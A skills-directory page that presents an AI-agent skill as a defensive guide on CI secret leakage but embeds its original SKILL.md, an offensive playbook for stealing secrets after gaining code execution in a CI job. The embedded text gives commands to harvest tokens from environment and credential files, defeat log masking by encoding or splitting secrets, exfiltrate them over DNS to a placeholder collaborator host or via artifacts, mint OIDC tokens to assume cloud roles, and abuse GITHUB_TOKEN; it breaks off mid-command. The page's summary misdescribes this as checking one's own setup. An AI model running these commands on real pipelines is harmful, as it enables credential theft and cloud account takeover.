cicd-secrets-exfil
What it does
This guide covers how build jobs can expose secrets, such as cloud keys and access tokens, and how to prevent that. It is for DevOps and security teams who manage CI systems.
When to use it
- βWhen a team wants to check whether build logs or environment variables could expose secrets.
- βWhen a pipeline uses cloud role tokens and you need to limit what they can access.
- βWhen you review whether build caches or artifacts keep sensitive values.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCould a build job in our CI system leak cloud keys into logs or artifacts? Please check our setup.β
5 new skills a week. 1 minute to read.
How it works
The agent checks where secrets appear in the job environment, reviews how logs mask them, and reports which values could still leak.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
CI/CD Secrets & OIDC Exfiltration
Pre-requisite: you already have code execution in a CI job (see poisoned-pipeline-execution/ or github-actions-injection/). Goal: convert that ephemeral execution into durable cloud / registry access without tripping log masking.
Surface map
# In the runner β every place a secret might live
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head
ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null
ls -la "$RUNNER_TEMP/_github_workflow/" 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'token|secret' | sort -u | head
Log masking β and how it fails
GitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with ***. The mask is substring-based, applied post-write, to UTF-8 chars only. Defeats trivially:
SECRET="$MY_SECRET"
# 1. Base64 β masker doesn't decode
echo "$SECRET" | base64 -w0
# 2. Hex
echo -n "$SECRET" | xxd -p
# 3. Char-by-char (one char per line)
echo "$SECRET" | fold -w1
# 4. Reverse
echo "$SECRET" | rev
# 5. Print length + first/last chars (use this for *proof*; don't print the whole secret)
echo "len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}"
# 6. Split across two strings
echo "${SECRET:0:${#SECRET}/2}"; echo "${SECRET:${#SECRET}/2}"
# 7. Use as URL β DNS exfil masks the secret in HTTP logs but the lookup succeeds
curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/"
# 8. Out-of-band β write to artifact then download
echo "$SECRET" | base64 > "$RUNNER_TEMP/proof.b64"
# then: actions/upload-artifact -> attacker downloads
For authorized research: stop at step 5. Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure.
What lives in env
# GitHub Actions
# - GITHUB_TOKEN β workflow token (scope depends on `permissions:` block, default depends on org)
# - secrets.* β explicitly referenced; only present if the step mapped them
# - ACTIONS_RUNTIME_TOKEN β runner-to-service JWT, scoped to runtime APIs (artifacts, cache)
# - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL β OIDC exchange endpoints
# - ACTIONS_CACHE_URL β cache service endpoint
# GitLab CI
# - CI_JOB_TOKEN β short-lived job token, scope depends on project + CI/CD settings
# - CI_REGISTRY_USER / CI_REGISTRY_PASSWORD β container registry
# - CI_DEPENDENCY_PROXY_USER / _PASSWORD
# CircleCI
# - CIRCLE_OIDC_TOKEN, CIRCLE_TOKEN
GitHub OIDC -> cloud role
If the workflow declares permissions: id-token: write, the runner can mint a JWT trusted by AWS / GCP / Azure / Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it:
# Mint an OIDC token from inside the job
ID_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
# Inspect claims (no secret β JWT is base64)
echo "$ID_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Claims include: sub (repo:OWNER/REPO:ref:refs/heads/...), iss, aud, repository, workflow
# AWS β assume role if trust policy matches the sub claim
aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name research \
--web-identity-token "$ID_TOKEN" \
--duration-seconds 900 \
| jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+"...", Expiration:.Credentials.Expiration}'
# GCP β exchange for a Google access token via Workload Identity Federation
# (requires the WIF pool/provider to trust the GitHub OIDC issuer)
Trust-policy enumeration without burning a session: the OIDC sub claim is deterministic β repo:OWNER/REPO:ref:refs/heads/BRANCH or :environment:NAME. If you can read the trust policy (cross-account roles are sometimes enumerable via iam:GetRole from a low-priv key), you can predict which (repo, ref) will pass.
GITHUB_TOKEN abuse
# What can this token do? (no secret leaked β just header inspection)
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'
# Common abuses given `contents: write` + `pull-requests: write`
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA # creates a release
gh p
FAQ
Does log masking solve the problem?
Not fully. The guide says masking works on exact text, so encoded or split values can still show up.
What are OIDC tokens?
They are short-lived tokens that let a build job prove its identity to a cloud provider.
What is the main advice?
Limit each token's scope and avoid printing or caching secrets in build output.
Details
Original description by the author
Extracting CI secrets / OIDC tokens once you have code execution in a build job β echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14029
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.